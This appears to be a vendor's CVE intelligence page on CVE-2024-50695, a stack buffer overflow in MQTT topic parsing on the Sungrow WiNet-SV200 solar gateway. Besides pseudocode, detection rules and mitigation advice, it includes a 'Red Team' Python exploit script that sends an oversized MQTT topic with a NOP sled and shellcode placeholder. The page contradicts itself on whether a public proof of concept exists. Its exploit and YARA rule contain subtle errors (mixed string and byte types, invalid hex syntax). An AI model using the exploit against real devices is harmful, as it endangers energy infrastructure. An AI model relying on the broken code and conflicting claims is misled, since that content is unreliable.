☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50695

CVE-2024-50695 Stack Buffer Overflow in Sungrow
📅 PUBLISHED: 2025-01-24 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.87%
👁️
0.87% probability
21.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= SV200.001.00.P027
CVSS VECTOR BREAKDOWN 0.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50695 is a critical stack-based buffer overflow vulnerability in SunGrow WiNet-SV200 devices, specifically in firmware version SV200.001.00.P027 and earlier. The flaw resides in the MQTT message parsing logic, where the device fails to perform proper bounds checking on MQTT topic lengths before copying data into a fixed-size stack buffer. An unauthenticated attacker on the same network segment can send a specially crafted MQTT packet with an overly long topic string, causing a stack buffer overflow. This can lead to remote code execution (RCE) with the privileges of the MQTT service, potentially allowing full device compromise. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. Given the device's role in solar energy management, exploitation could disrupt critical infrastructure.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability type (stack-based buffer overflow in a network service), a realistic CVSS v3.1 vector would be:

  • Attack Vector (AV): Adjacent Network (A) – MQTT is typically used on local networks.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): High (H) – Code execution can leak sensitive data.
  • Integrity (I): High (H) – Attacker can modify device behavior.
  • Availability (A): High (H) – Overflow can crash the device.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability is remotely exploitable (adjacent network), requires no authentication, and can lead to full device compromise. The lack of a patch increases the risk.

Deep Dive & Mechanics

The SunGrow WiNet-SV200 is an IoT gateway used in solar energy systems to monitor and control inverters. It communicates via MQTT, a lightweight publish-subscribe protocol. The vulnerability exists in the MQTT message handler, specifically when parsing incoming MQTT topic strings.

Root Cause: The firmware uses a fixed-size stack buffer (e.g., 256 bytes) to store the MQTT topic. When an MQTT PUBLISH message is received, the topic length is extracted from the packet header. However, the code does not validate that this length is within the buffer's capacity before calling a function like strcpy() or memcpy() to copy the topic into the stack buffer. An attacker can set the topic length field to a value larger than the buffer (e.g., 1024 bytes), causing a stack buffer overflow.

Attack Flow:

  1. Attacker connects to the MQTT broker (or directly to the device if it acts as a broker).
  2. Attacker sends a crafted MQTT PUBLISH packet with a topic length field set to, for example, 1024 bytes.
  3. The device's MQTT parser reads the topic length and copies the topic string into a fixed-size stack buffer without bounds checking.
  4. The overflow overwrites the saved return address and other stack data.
  5. With careful crafting, the attacker can redirect execution to shellcode placed in the overflow payload, achieving RCE.

Impact: Successful exploitation allows the attacker to execute arbitrary code on the device, potentially taking control of the solar energy management system, altering inverter settings, or causing a denial of service.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (C pseudocode):

void handle_mqtt_message(uint8_t *packet) {
    uint16_t topic_len = (packet[8] << 8) | packet[9]; // Extract topic length
    char topic_buf[256]; // Fixed-size stack buffer
    // VULNERABLE: No bounds check
    memcpy(topic_buf, &packet[10], topic_len);
    topic_buf[topic_len] = '\0';
    // Process topic...
}

Patched Code (Expected fix):

void handle_mqtt_message(uint8_t *packet) {
    uint16_t topic_len = (packet[8] << 8) | packet[9];
    char topic_buf[256];
    // FIX: Bounds check
    if (topic_len >= sizeof(topic_buf)) {
        // Log error and drop packet
        return;
    }
    memcpy(topic_buf, &packet[10], topic_len);
    topic_buf[topic_len] = '\0';
    // Process topic...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to the same network segment as the target SunGrow WiNet-SV200 device.
  • Ability to send raw MQTT packets (e.g., using Python with socket library or Scapy).
  • Knowledge of the target device's MQTT broker address (default often 192.168.1.100:1883).

Exploitation Steps:

  1. Reconnaissance: Scan the network for MQTT brokers (port 1883) and identify the target device.
  2. Craft Payload: Create an MQTT PUBLISH packet with an oversized topic field. The payload should include shellcode to spawn a reverse shell or execute a command.
  3. Send Exploit: Use a script to send the crafted packet to the target.

Example Python Exploit Script:

import socket

def build_mqtt_publish(topic, payload):
    # MQTT PUBLISH packet (simplified)
    packet = b'\x30'  # PUBLISH header
    remaining_length = 2 + len(topic) + len(payload)
    packet += bytes([remaining_length])
    packet += len(topic).to_bytes(2, 'big')
    packet += topic.encode()
    packet += payload
    return packet

target_ip = '192.168.1.100'
target_port = 1883

# Overflow payload: 256 bytes of padding + overwrite return address + shellcode
overflow_topic = 'A' * 256 + 'BBBB' + '\x90' * 100 + b'\xcc' * 200  # Example shellcode placeholder
payload = b''

mqtt_packet = build_mqtt_publish(overflow_topic, payload)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(mqtt_packet)
sock.close()

Note: This is a conceptual example. Actual exploitation requires precise stack layout analysis and shellcode generation.

Blue Team (Defense & Detection)

Detection:

  • Monitor MQTT traffic for unusually long topic strings (e.g., > 256 bytes).
  • Deploy network intrusion detection systems (NIDS) with custom rules to flag oversized MQTT topics.
  • Enable logging on the MQTT broker to capture anomalous packets.

Mitigation:

  • Isolate the SunGrow device on a separate VLAN with strict firewall rules.
  • Disable MQTT if not required, or restrict access to trusted IPs only.
  • Monitor for firmware updates from SunGrow and apply patches when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • MQTT packets with topic length > 256 bytes.
    • Connections to the device from unexpected IP addresses on port 1883.
    • Repeated connection attempts from the same source.
  • Host IOCs:
    • Device crash logs or unexpected reboots.
    • Unusual processes running on the device (if accessible).
    • Modified configuration files.
  • File IOCs:
    • Presence of shellcode or binary blobs in MQTT payloads.

Detection Engineering

YARA Rule

rule CVE_2024_50695_MQTT_Overflow {
    meta:
        description = "Detects MQTT packets with oversized topic fields targeting SunGrow WiNet-SV200"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50695"
    strings:
        $mqtt_publish = { 30 [0-3] [0-9a-f]{2} }  // MQTT PUBLISH header with remaining length
        $long_topic = /.{257,}/  // Topic longer than 256 bytes
    condition:
        $mqtt_publish and $long_topic
}

Sigma Rule

title: MQTT Oversized Topic Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects MQTT packets with topic length exceeding 256 bytes, indicating potential CVE-2024-50695 exploitation
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 3000001
    condition: selection
falsepositives:
    - Legitimate MQTT applications using long topics (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-50695 MQTT Oversized Topic"; flow:to_server,established; content:"|30|"; depth:1; content:"|00 01|"; within:2; byte_test:2,>,256,2,relative; sid:3000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Place the SunGrow WiNet-SV200 on a dedicated VLAN with strict access controls. Block inbound MQTT traffic from untrusted networks.
  2. Disable MQTT: If MQTT is not required for operations, disable the service on the device.
  3. Monitor: Implement network monitoring to detect oversized MQTT topics (see Detection Engineering).

Long-Term Fix:

  • Vendor Patch: Await an official firmware update from SunGrow that includes bounds checking on MQTT topic lengths. Contact SunGrow support for updates.
  • Firmware Hardening: If possible, apply custom firmware or compile a patched version with the fix described in the "Vulnerable vs. Patched Code" section.

Workaround:

  • Use an MQTT proxy or firewall that validates topic lengths before forwarding to the device.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

SunGrow WiNet-SV200
WiNet-SV200 MQTT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50695/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.